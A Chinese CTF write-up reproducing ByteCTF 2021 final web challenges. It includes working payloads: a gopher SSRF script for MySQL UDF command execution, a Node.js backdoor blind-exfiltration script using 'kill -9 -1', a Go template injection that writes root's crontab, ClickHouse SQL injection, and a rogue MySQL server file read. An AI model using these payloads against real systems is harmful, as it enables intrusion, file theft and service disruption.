0%

bytectf2021final复现

bytectf2021final复现

菜狗并没有打进ByteCTF2021 final,但是在比赛结束之后环境并没有立即关闭,感谢rmb神仙带我,让我进行复现呜呜

seo

一个前端写的还挺好看的站,有一些乱七八糟的功能,写了好几个api,实际上有用的只有一个词库里面的任意文件下载,然后下/api/ip.php,有一个curl的ssrf
这个ssrf还把请求的结果base64一下再返回,真的是很贴心的配合gopher的操作,就是接下来的操作并不是非常的人性化,扫网段找服务?先读/etc/hosts确定机器的网段是172.73.23.0/24,然后我也不知道扫什么服务就硬扫全网段?有点离谱
rmb神仙说先扫gopherus里面常见的能打的服务,扫全端口肯定不现实,所以是扫整个网段内的特定端口,比如redis,mysql之类的,因此可以在172.73.23.100:3306上扫到一个mysql。(我还是觉得离谱)

看了下wm的wp,读了/proc/net/arp,能够迅速的发现172.73.23.100的存在

gopher打mysql是需要账户没有密码的,有密码要交互,打不通。所以直接root无密码一把梭,先select一个12345试试,成了,能打SQL
然后数据库中无内容,需要打mysql执行命令。可以先执行一下show variable like 'secure_file_priv'看一下有没有写文件权限,为空就任意写,然后再看show variable like 'plugin_dir'看插件目录是在哪
mysql5.1后规定加载插件只能从插件目录下加载,插件目录存在+允许mysql写文件,接下来就是经典的UDF提权操作了(虽然这里是命令执行),windows下可能因为mysql运行权限比较高,一般来说是提权

UDF -> user defined function,允许用户自定义mysql函数,写一个.so/dll放到插件目录下加载,即可像使用内置函数一样使用自定义函数,扩展性极强

需要.so/dll符合平台类型以及mysql的位数,自己写一个还需要下一堆mysql相关的文件,所以我们直接用msf里面自带的
udf的写入也是一个问题,可以直接把整个二进制文件转换成base64或者hex编码,然后整个塞进查询语句里面,直接into dumpfile。然后CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so'加载写入的so
如果环境是公有的,还可以直接用select * from mysql.func看一下已经定义了的udf,看能不能急速上车,防止别人上车也很容易,用完用drop function sys_eval把函数删了就行

这里我不知道为什么出问题,我先把整个文件hex编码放进gopherus里面,再把输出的payload粘贴到脚本里面跑,总是跑不起来,我一开始怀疑是长度过大了,准备使用创建一个临时表,分段往表里面写数据的形式写入,再一口气导出的操作,所以把gopherus里面mysql的部分扒了出来缝合上去,不然没法自动化。结果缝合了之后又一把跑通了,玄幻
缺点就是gopherus python2写的,和python3的差距似乎在于对string和byte之间的转换上,懒得查怎么回事,就直接改Python2跑了

import requests
import base64
import json

user = "root"
encode_user = user.encode("hex")
user_length = len(user)
temp = user_length - 4
length = (chr(0xa3+temp)).encode("hex")

dump = length + "00000185a6ff0100000001210000000000000000000000000000000000000000000000"
dump += encode_user
dump += "00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c"
dump += "69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d"
dump += "067838365f36340c70726f6772616d5f6e616d65056d7973716c"

auth = dump.replace("\n","")

def encode(s):
    a = [s[i:i + 2] for i in range(0, len(s), 2)]
    return "gopher://172.73.23.100:3306/_%" + "%".join(a)


def get_payload(query):
    if(query.strip()!=''):
        query = query.encode("hex")
        query_length = '{:06x}'.format((int((len(query) / 2) + 1)))
        query_length = query_length.decode('hex')[::-1].encode('hex')
        pay1 = query_length + "0003" + query
        final = encode(auth + pay1 + "0100000001")
        return final
    else:
        return encode(auth)


url = "http://47.94.152.65:30001/api/ip.php"
# for i in range(1, 255):
query = "drop function sys_eval;"
data = {"domain": get_payload(query)}
res = requests.post(url, data)
# print(res.text)
j = json.loads(res.text)
# print(res.text)
print(base64.b64decode(j['res']))

windows下的UDF

windows下的UDF提权操作可以稍微简单一点,如果目标机器通外网或者内网其他机器有写权限的时候,可以通过\\ip@port\path UNC path,可以用来进行远程访问,直接加载对应文件

在终端上执行的时候需要转义反斜杠,也就是四个斜杠来表示一个UNC路径。简单测试了一下,只有windows下的mysql支持UNC路径进行远程加载(毕竟这个是windows才有的东西),但是我还是非常的愚蠢,我一开始居然会觉得这个UNC路径的加载是使用http协议的。。。后来搜了一下,说是使用的smb和webdav,先默认连接445的smb端口,连不上再去用http连webdav,如果指定了SSL属性就用https,虽然说webdav是http的修改版,但正常的http服务器仍然无法提供webdav服务,所以想提供UNC路径的加载,还需要额外搭服务

这个端口是用@来分隔的,我一开始还在用冒号(但是mysql似乎不支持这个@指定端口,本地测试并未成功,指定端口后wireshark都没看见有流量发出去,以及我怀疑学校有奇怪的策略,我什么都不加就连445端口但会被超级丢包),以及本地测试mysql好像并不会尝试去连webdav?wireshark抓包的结果是只给445还有139端口发送了数据

参考链接

MySQL 漏洞利用与提权
MySQL UDF Exploitation
Understanding UNC paths, SMB, and WebDAV

nothing

nodejs的一些操作,学到了一点东西
首先给出源码,这个题理论上来说是需要扫目录扫出源码的。。否则就是这个源码里写的一个Here is a backdoor,can you shell it and get the flag?。。。有点让人无语

const express = require('express')
const fs = require('fs')
const exec = require('child_process').exec;
const src = fs.readFileSync("app.js")
const app = express()

app.get('/', (req, res) => {
    if (!('ByteCTF' in req.query)) {
        res.end("Here is a backdoor,can you shell it and get the flag?")
        return
    }

    if (req.query.ByteCTF.length > 3000) {
        const byteCTF = JSON.stringify(req.query.ByteCTF)
        if (byteCTF.length > 1024) {
            res.end("too long.")
            return
        }

        try {
            const q = "{" + req.query.ByteCTF + "}"
            res.end("Got it!")
        } catch {
            if (req.query.backdoor) {
                exec(req.query.backdoor)
                res.send("exec complete,but nothing here")
            } else {
                res.end("Nothing here!")
            }
        }
    } else {
        res.end("too short.")
        return
    }
})

app.get('/source', (req, res) => {
    res.end(src)
});

app.listen(3000, () => {
  console.log(`listening at port 3000`)
}) 

第一层很简单,要求req.query.ByteCTF.length > 3000,同时在被解析成json之后长度小于1024,只要令ByteCTF这个名字有一个属性名字是length,然后值大于3000就行了嘛(所以我印象里好像有的地方有提到,开发时要使用其他方法来判断字符串的长度?)
第二层就略微的有些玄幻了,他需要const q = "{" + req.query.ByteCTF + "}"这一句话抛出一个异常,才能进try catch的命令执行,理论上来说,无论这个ByteCTF是什么类型,和字符串进行加都是不会出现异常的,并且我们这顶多也就是让ByteCTF是一个字典(还是对象?)

这一步就比较的tricky,反正ByteCTF不会是一个字符串,那非字符串和字符串拼接需要隐式调用toString,因此可以把ByteCTF的toString属性也赋一个值,变成一个字符串,这样子和字符串做加法的时候toString不是函数,调用起来原地爆炸,就能进catch了

第三步也很tricky,因为exec是另开进程进行执行的,且是异步非阻塞的,而回显也不存在,简单试了下感觉机器也不出网,反弹shell也不行。想办法盲注,但是盲注随你输什么,反正没有任何的反应,得到的结果永远是他写死的内容

然后开始想歪门邪道,一开始想的是fork炸弹,丢了几个进去毫无反应,连卡顿都没有出现,然后想起了rmb神仙以前教我的杀全部进程之术kill -9 -1,以前是用来杀究极内存马的,因为本身执行命令的用户权限低于主服务的权限,所以杀全部进程也只是把服务进程杀掉,守护进程会重新拉起新的服务进程。一打就通,直接connect reset,拿到回显点了

然后简单的研究了一下bash的if语句结果,先手打测出来了部分flag名字,写了个破烂脚本盲注

import requests

charset = "1234567890abcdef"
url = "http://39.106.34.228:30001/?ByteCTF[length]=3001&ByteCTF[toString]=aaa&backdoor="
flag = "ByteCTF{"
cmd = "if cat /*f1a*|grep {};then kill -9 -1;fi"
for c in range(32):
    for i in charset:
        send = url + cmd.format(flag+i)
        # print(send)
        for j in range(5):
            try:
                res = requests.get(send)
            except Exception as e:
                print(e)
                flag += i
                print(flag)
                break

至于这里重复五遍,是手试的时候发现服务有时候不会百分百崩溃,但总体效果是对的,重复几次以防万一

以及rmb说他们的做法是pkill,通过进程名批量杀进程,感觉差不多,不过他说他们的做法打出来是502,就不需要我这一步try except

babyweb

golang的SSTI,但是我完全不会go,所以还临时学习了个把小时的go基础语法

go基本语法

go最为反人类的一点就是他和其他编程语言相反,是变量名在前,变量类型在后的,比如声明一个字符串a,go里面就得写成var a string,虽说可以隐式的var a = "string"声明变量,或者高级语法糖a := "string",但在函数声明之类的地方还是显得异常折磨。。。
比如这个

func (c *context) File(file string) (err error)

这个函数名为File,接收一个类型为string的参数file,返回值是名为err的error类型对象。那么,函数名前面的这个(c *context)又是个啥?
再学一下,golang没有类这个操作,都是由结构体进行数据类型的封装,那结构体不像类一样有函数啊,那咋搞呢,就用函数名前面这么个括号,来修饰这个函数的调用者是什么类型(好像官方说法叫接收者),在我看来就是把这个函数声明成对应结构体的成员函数了,因为只有这个结构体的对象才能调用这个方法嘛,也算是间接实现了类。。。
因此,(c *context)表示这个函数需要被一个context结构体对象调用,这里的c就相当于c++之类的语言里面的this,而星号可以理解为传引用,可以直接通过c修改调用者的属性,没有星号就是传值,函数内修改不影响调用者的值

还有一点,go没有成员修饰符,也就是说没有public,private之类的功能,但是和java一样有package,package内的函数,可以访问该package中的任意变量和方法,而若是引用另一个package中的内容,则只有开头是大写字母的方法和变量能够被获取到,简单的理解就是首字符是大写字母public,首字符非大写字母private

题解

目标站点就两个功能,登录注册和查看log,log有用户名ip,ua之类的数据,打这里的模板注入(不过要能试出来这里是个go。。。要是我的话肯定第一反应是nodejs或者python之类的,不过也据说给了dockerfile?反正我看不到)
go的模板库有text/template和html/template两个,既然这里是web相关的,先默认他是html的这个库,而go的模板渲染与python,nodejs的都不一样,他只允许传入一个对象,然后使用该对象下面的成员进行模板渲染,不能像node或者python传入多个变量一一渲染
也由于这个原因,go的ssti危害性应当小于python和node的,因为只允许访问传入对象下的属性和方法,如果单纯的只是模板可控,而传入的对象本身无危险方法的话,可能就只能打个xss玩了
那么这里传入的对象是,gin下的context对象,gin是go中最常用的web框架,就像nodejs中的express,koa一样,context是会话上下文,里面有完整的request和response对象,以及一堆方法。包括了处理文件上传的方法

FormFile(name string) (*multipart.FileHeader, error)
MultipartForm() (*multipart.Form, error)
SaveUploadedFile(file *multipart.FileHeader, dst string) error

当然,go是究极编译语言,并不吃什么文件上传rce,因此是通过文件上传写root的crontab实现rce(据说也是dockerfile里写的,root启动的go+能写root的crontab === 随意搅屎)
抄一个样例payload

{{ $a := .FormFile "file" }} {{ .SaveUploadedFile $a "/var/spool/cron/crontabs/root" }}

访问触发点的同时上传恶意文件即可

模板中函数调用也不需要加括号,参数就直接按顺序放在后面就行
点号直接就是访问传入对象的属性,或者说,可以理解为再点号前面自动补全了一个this
这里有一个点稍微需要注意一下,不能调用没有返回值的函数,并且调用了没有返回值的函数会导致从这里开始后续的模板全部不被处理(本地测试的结果)
看了上交一个师傅写的wp,他提到调用的函数只允许有一个返回值,或两个返回值且第二个返回值是error类型

至于怎么测试出来给的是gin的Context呢,简单翻了下文档没看见什么好用的,直接百度Context对象里有啥,然后找到了Request.URL.Query()这个方法,获取到所有的get参数,直接{{.Request.URL.Query}}渲染,就可以在渲染界面看到自己提交的get参数,算是验证了对象是context(这里Request虽然大写但实际上是一个对象名。。。因为前面提到的大写的对象名才被认为是公有的),也可以直接{{.}}之类的,配合模板语法还能range之类的遍历一下
{{range .Keys}}{{printf "%#q" .}}{{end}}说是这个可以导出一些小写开头的变量?

参考链接

pkg html/template
go ssti method research
Context结构体
ByteCTF 2021 babyweb摸鱼wp

bytehouse

SQL注入,但是是 clickhouse这个奇怪的数据库,好像以前再哪场比赛上遇到过,但实在是不熟(搜了一下发现是字节初赛。。。并且那个题有点脑溢血)。题目很贴心,随你输什么,不仅没有过滤,还把报错返回给你,随便按两下就能看到 clickhouse这个独具一格的报错,也就能推测出数据库的类型了

并且乱按的话还会输出查询语句,是用jdbc连的远程数据库,应该是指连接的mysql-server1的bytectf库下的users表
SELECT name FROM jdbc('jdbc:mysql://mysql-server1?password=root', 'bytectf', 'users') WHERE id = a

也没有引号包裹什么的,随便打,先来一波union注入。 clickhouse的union注入语法为union all select,不过 clickhouse的数据类型判断好像比较强,有点像那个postgresql?一般来说用报错外带的方式来注数据

直接union all select * from system.columns就会报错列不匹配,顺便会把整个库的所有列个展示出来(好人啊)

这个数据库,太奇怪了一点。。。字符串拼接什么的也很麻烦,并且这里还配置了奇怪的内存限制,我从网上找资料拼出来了一个查全部数据库的payload,然后报错说预计使用的内存超出了限制,不给查,然后就只能写脚本反复跑了,运气好总有一次低于内存限制

基础注入语句

0 union all select arrayStringConcat((select groupUniqArray(name) FROM system.databases),',')

INFORMATION_SCHEMA,bytectf,system,information_schema,default

arrayStringConcat的功能类似于mysql的group_concat,把查询结果拼成字符串,还可以插入分隔符,但查询结果本身是多行的话并不能用,而groupUniqArray就是把不重复的结果拼成一个array,两个函数组合起来才可用把多行查询结果变成一个字符串返回

查一下bytectf这个库有啥

0+union+all+select+arrayStringConcat((select+groupUniqArray(name)+FROM+system.tables+where+database='bytectf'),',')

user

就一个user表
同理查列,也没什么数据

0+union+all+select+arrayStringConcat((select+groupUniqArray(name)+FROM+system.columns+where+table='user'),',')

id,user

查数据

"0 union all select arrayStringConcat((select groupUniqArray(name) FROM bytectf.user),',')

user2,user1,user3

好像和直接输入id的话结果不一样,因为直接输id只有user1/2,而这里多出来一个,感觉应该是这里的bytectf是本地的数据库,而之前的数据库是通过jdbc连接的远程数据库,远程数据库是bytectf.users,只有两个数据

但这些数据都没什么用,尝试读文件,但超级报错

0 union all SELECT c FROM file('/proc/self/cmdline', 'CSV', 'c String')

 File `/proc/self/cmdline` is not inside `/var/lib/clickhouse/user_files`

看来非常的安全,有文件读路径的限制,似乎另一个利用就是用url函数ssrf发请求了。但暂时没东西可以打

rouge mysql server

我又忘了这一点。。。虽然我们交互的数据库是 clickhouse,但是他可以用jdbc去连接mysql,发起任意可控的mysql连接约等于任意文件读。。。
用GitHub上的经典rouge mysql server,python2启动

0 union all SELECT a from jdbc('jdbc:mysql://www.z3ratu1.cn:10012','test','test')

Server asked for stream in response to "LOAD DATA LOCAL INFILE" but functionality is not enabled at client by setting "allowLoadLocalInfile=true" or specifying a path with 'allowLoadLocalInfileInPath'.

超级报错,我一开始还以为是客户端关了这个操作,一搜发现,居然可以直接在url里加这个参数来开启,这个报错的意思也是直接在url参数里加就可以启用。。。
之后还有一个max_allowed_packet的类似问题,都可以通过改参数的方式解决
如下payload实现任意文件读

0 union all SELECT a from jdbc('jdbc:mysql://www.z3ratu1.cn:10012?useSSL=false&allowLoadLocalInfile=true&maxAllowedPacket=10000000','test','test')

JDBC MySQL任意文件读取中的一些坑

先读/etc/hosts看看有哪些机器,读到一个172.18.0.5 jdbc-bridge(怎么感觉就是自己)

读/proc/self/cmdline,读出来了一堆我看不懂的东西

java -XX:+UseContainerSupport -XX:+IdleTuningCompactOnIdle -XX:+IdleTuningGcOnIdle -Xdump:none -Xdump:tool:events=systhrow+throw,filter=*OutOfMemoryError,exec=kill -9 %pid -Dlog4j.configuration=file:////app/log4j.properties -Dnashorn.args=--language=es6 -jar clickhouse-jdbc-bridge-shaded.jar

加了一堆buff,最后是用的clickhouse-jdbc-bridge-shaded.jar

看了看简介,好像就是一个clickhouse再集成一个jdbc,可以连各种其他的数据库,官方还有docker,可以搞一个docker运行一下(我没有下了。。)
理论上开了docker之后可以看到一个路径/app/logs/console.log,读日志(从wp中直接获取的思路)

rouge mysql超级踩坑

我直接尝试下这个日志然后发现卡了半天没反应。。。感觉会不会是日志太大了下不下来了?以及他这个jdbc好像也是同步的?我把上一个下log的请求卡住之后,后续的所有请求都卡住了。。只有关掉rouge mysql server断开连接才恢复正常

然后把网上常见的几个rouge mysql server都下下来试了一遍,一个能打的都没有,都不能下载大文件,最常用的那个会卡住。
然后fnmsd神仙的那个看起来比较完善,GitHub上介绍是说50M文件都随便下,但实际使用时会报一个45 is not a valid CharacterSet的问题(去issue里看了一眼说是因为java connect版本太高,已经修了,可能这次的版本更高了,又不能用了。。。),剩下的零零散散的实现也都不能用

最后我直接下rmb神仙自己写的
rmb122/rogue_mysql_server
唯一缺点是用go写的,还没编译出来,完全不会用。。。windows上虽然有Goland,但是编译的时候报错config.yaml找不到,并且报错的路径还是在一个temp目录下,在完全没有理解golang编译过程的情况下,我直接转移平台到Linux上(虽说昨天已经基础入门了golang语法,但是这并不意味着我能编译出来一个go的二进制程序)

读log

显然这里是出题人一开始就设置好了的,在环境启动时连接了mysql-server2并查询了一个不存在的数据库,导致报错,而这样子就在日志文件中保留下来了连接server2时的密码

java.lang.IllegalStateException: Failed to infer schema from [jdbc:mysql://mysql-server2?password=ae260407425a4b4d708c42e07c292ee7] due to: Failed to access [jdbc:mysql://mysql-server2?password=ae260407425a4b4d708c42e07c292ee7] due to: Unknown database 'not_found_db'

连上的虽然是mysql的server,但是查询语句还是得按clickhouse的规则来。。。不过比较贴心的是会报错,这样子就能很快的看到有哪些列之类的(这里列名必须大写,怪)

0 union all select * from jdbc('jdbc:mysql://mysql-server2?password=ae260407425a4b4d708c42e07c292ee7', 'information_schema', 'schemata')

code: 258, message: Different number of columns in UNION ALL elements:
name
and
CATALOG_NAME, SCHEMA_NAME, DEFAULT_CHARACTER_SET_NAME, DEFAULT_COLLATION_NAME, SQL_PATH, DEFAULT_ENCRYPTION

可以limit x,x+1一个个查,或者套一层之前的这个查询方法

0 union all select arrayStringConcat((select groupArray(SCHEMA_NAME) from jdbc('jdbc:mysql://mysql-server2?password=ae260407425a4b4d708c42e07c292ee7', 'information_schema', 'schemata')),',')

mysql,information_schema,performance_schema,sys,bytectf
0 union all select arrayStringConcat((select groupArray(TABLE_NAME) from jdbc('jdbc:mysql://mysql-server2?password=ae260407425a4b4d708c42e07c292ee7', 'information_schema', 'tables') where TABLE_SCHEMA='bytectf'),',')

flag

列名也是flag,最后查flag值

0 union all select arrayStringConcat((select groupArray(flag) from jdbc('jdbc:mysql://mysql-server2?password=ae260407425a4b4d708c42e07c292ee7', 'bytectf', 'flag')),',')

bytectf{JD6C_inj3ct_i5_funny}

golang安装编译入门

编译rmb写的工具时遇到的各种问题
碎碎念拉满

首先明确一点,**go的版本要不小于1.13!!!**,版本到了解决99%问题(为什么Ubuntu自带的是1.6这种究极远古版本),网上有很多安装的方法,但大多是手动下载并解压,新时代人类无法接受这种原始的方法,于是我直接寻找apt安装方法

add-apt-repository ppa:longsleep/golang-backports
apt-get update
sudo apt-get install golang-go

能装一个1.13,虽然不是最新,但也达到基本要求了

至于为什么要装1.13,其中有很多缘由。首先是golang有一系列的环境变量,这里着重讨论GOPATH,GOPATH之下主要包含三个目录: bin、pkg、src。bin是编译出来的二进制文件,pkg放第三方库,而src放项目源代码
如果你有多个项目,那么你应该在GOPATH/src/下分别建立多个项目文件夹。虽然也许这符合一定的规范,但我觉得项目都得位于某个固定位置下的设计非常愚蠢

如果你要在其他地方布置项目的话,恐怕需要修改GOPATH,而GOPATH是一个全局变量,换过来之后又要改回去,更加显得愚蠢。。。

而go在1.11版本后支持了全新的操作,go mod(module),可以进行类似包管理器的操作了,允许你直接引用GOPATH/pkt下面的第三方库,创建一个go.mod文件来记录依赖内容,并用一个go.sum文件保存checksum。这样子就能把项目创建在任何地方,而GOPATH也就是一个简单的第三方库路径而已了,早就应该这样子啊,这样子不才是比较合理的做法吗???

有的地方经常推荐把GOPATH/bin加入到PATH中,我暂时不想这么做。。。加入PATH并不会对编译项目有所帮助,只是单纯的go版本更新也是把go下载到GOPATH下面,为什么会有人这么设计。。。以及可能还会有一些下下来就能用的二进制软件。
还有一件事,GOPATH默认为什么是在$HOME/go下?我并不是很喜欢把一堆东西放在家目录下,所以我还手动改了下go的家目录,丢到/usr/local/lib下面了,希望这个名字符合他的功能

另一个需要1.13版本的原因在于golang的一些依赖包,比如golang.org被墙了(为什么要墙这个。。。)然后go在1.13版本下才推出了一个代理功能,GOPROXY,使用这个就可以透明的指定国内的代理,指定完了就不用再管了,比较方便,不然你直接用go mod download还是用go get也好,都下不下来依赖

反正,只要你的go版本大于1.13,,先go env -w GOPROXY=https://goproxy.cn,direct指定用国内镜像,然后go mod download一把梭下下来全部依赖,go build main.go,直接编译成功并能运行,我哭了

总而言之,现代版go还是比较好用的,能直接一键安装依赖,做到拆包即用,老版本golang可真是反人类啊,我一开始用这Ubuntu自带的1.6人都用麻了

参考链接

Yandex.ClickHouse injection

proxy

这个题是否有些玄幻?

对外暴露的80端口开了一个Apache的代理,只能代理到一个http服务,http服务里面锤子没有,就一个index.html
内网还有一个python服务,但是Apache并不不能代理这个地址,且其不能直接出网,接受一个post提交的url,通过访问Apache的8123端口提供的代理服务出网访问url,根据dockerfile显示,代理服务用的basic认证方式,认证密码即为flag

用前段时间的那个Apache ssrf的洞,用/?unix:A*4100|http://internal/fetch去访问,POST提交数据就和正常报文一致

在requirement.txt中特别指出了requests==2.25.1,查了一下,最新版本是2.26.0,就是该版本后的一个版本,但去GitHub简单对比了一下,好像没有看到什么和代理有关的安全问题更新,唯一一个和proxy有关的更新是在session下某些操作导致凭证不发送相关的问题。似乎没用

搜索历史漏洞,在2.20之前存在一个访问https被重定向到http情况下,requests会将凭证携带上再次发送的问题,这个的漏洞点在于http明文传输,可能会被监听网卡之类的方法嗅探,也不是这里能用的

题解也比较玄幻,我暂未理解原理。先让目标站点访问一个重定向网页,使其使用https访问我们可控的一个站点,那么这次重定向请求中就会携带上Proxy-Authorization头,因为authorization类型是basic,直接base64解码即可拿到内容(什么原理)

当proxy遇到一个302的时候,应该不是proxy继续跟随重定向,而是把重定向结果返回给requests,然后requests再发送第二个请求出去。requests重新发送的https请求和直接访问https站点发送的请求又有什么不同呢?为什么一定得是https协议重定向才会生效呢?读python源码吗,读不动了。。。

read_the_source_code_to:ByteCTF{Explo1t_1dAy_4nD_haV3_FuN}

Aginx2

初赛出过的题目的加强版
初赛那个题我就没看懂,不过我对它用的是http2存在一定的印象

简单的说就是有这么一个场景,前端有一个负载均衡服务器,后端是实际服务器,而客户端和前端沟通使用的是http2,而前端和后端沟通的时候又换回了http1.1,就会出现各种各样的请求夹带

按理说如果前端和后端对应每个来自客户的连接都维护一个单独的连接的话,即使发生请求夹带也不会对不同用户产生影响,但当并发量非常大时这并不现实。同时,系统的端口数量恐怕也不支持进行这样的操作,并且tcp连接的三次握手和四次挥手在高并发情况下反复建了拆拆了建会导致极大的资源消耗。因此,通常采用的是一种被称为连接池的技术

连接池,简单的说,就是前段和后端服务器维护一个数量为n的tcp连接,这个连接是长连接,当前端收到客户端的请求时,就从连接池中拿一个空闲的连接和后端进行交互,交互完了又把这个连接塞回连接池中,这样子就去除了每个请求都要进行tcp建立的开销

但这样子也就复用了tcp连接,也会导致请求夹带的威胁出现。假设用户A发送了一个请求,但这个请求里面夹带了两个请求,前端认为只发出了一个请求,而后端则认为收到了两个请求,这样子用户A就会拿到自己发出的第一个请求的应答。
而这时用户B也发起了一个请求,并且前后端沟通的连接就是之前A发出夹带请求的连接,用户A发出的夹带请求就拼在了用户B请求的前面,可以通过一定的构造,使得用户B的正常请求被吞掉部分,但不影响后端对用户的辨识(xff头之类的),使得用户B发出的请求实际上变成了A夹带的请求,并接收到恶意的结果

如果使用每个用户维护一个单独连接应该就不会出现上述情况,因为一个连接上只存在一个用户,那么夹带的请求只是会另该用户的下一个请求拿到夹带请求的结果,而不会对其他用户造成威胁

至于如何在http2降级到http1.1时进行请求夹带,可以看这个black hat的这个议题
HTTP2-The-Sequel-Is-Always-Worse